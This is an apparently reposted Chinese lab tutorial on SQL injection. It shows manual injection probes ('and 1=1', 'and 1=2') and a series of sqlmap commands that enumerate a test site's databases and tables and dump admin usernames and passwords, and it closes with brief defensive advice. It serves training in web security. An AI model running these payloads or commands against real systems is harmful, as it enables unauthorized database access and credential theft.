“SQLmap”网站注入测试工具

来源:互联网 发布:网络简介的阅读答案 编辑:程序博客网 时间:2024/04/30 23:04

实验环境

  • 实验环境 
    • 操作机:Windows XP
    • 目标机:Windows 2003
    • 目标网址:www.test.com
  • 实验工具:
ToolsPathSQLMapC:\Tools\注入工具\SQLMap

本课程带领大家利用SQLmap进行SQL注入实验,使大家了解到漏洞的注入并非难事,需要提高自身SQL注入防御能力。

实验步骤

第一步 手工检测判断注入点

快速查找实验工具

  • 打开桌面 Everything 搜索工具,输入实验工具名称,右击选择“打开路径”,跳转实验工具所在位置。
  • 以查找BURP为例为大家演示。

Alt text

地址:http://www.test.com/Art_Show.php?id=2进行注入点判断,这是正常页面。

Alt text

在地址后加单引号来判断, 提示错误。

Alt text

替换判断语句为 and 1=1, 返回正常页面。

Alt text

替换语句为:and 1=2, 页面再次返回错误,说明这个地方存在注入点

Alt text

第二步 利用SQLMap注入数据库

打开sqlmap输入:

python sqlmap.py -u "http://www.test.com/Art_Show.php?id=2"

对注入点进行检测,注入成功,数据库信息如下:

操作系统:windowsweb服务器:apache+php数据库:mysql

Alt text

第三步 获取数据库信息

获取当前所在数据库输入:

python sqlmap.py -u "http://www.test.com/Art_Show.php?id=2"  --current-db

当前数据库为 mys

Alt text

获取所有数据库名称,输入:

python sqlmap.py -u "http://www.test.com/Art_Show.php?id=2"  --dbs

Alt text

获取当前数据库内所有表名称,输入:

python sqlmap.py -u "http://www.test.com/Art_Show.php?id=2"  -D mys --tables

看到了admin表。

Alt text

获取admin表内的列名,输入:

python sqlmap.py -u "http://www.test.com/Art_Show.php?id=2"  -D mys -T zzcms_admin --columns

Alt text

获取name和password内的账户密码,输入:

python sqlmap.py -u "http://www.test.com/Art_Show.php?id=2" -D mys -T zzcms_admin -C name,password   --dump

获取到账户密码

Alt text

第四步 防御方案

1.普通用户与系统管理员的权限要有严格的区分

2.强迫使用参数化语句

3.加强对用户输入的验证

4.多使用数据库自带的安全参数

5.使用专业的漏洞扫描工具来寻找可能被攻击的点

0 0
原创粉丝点击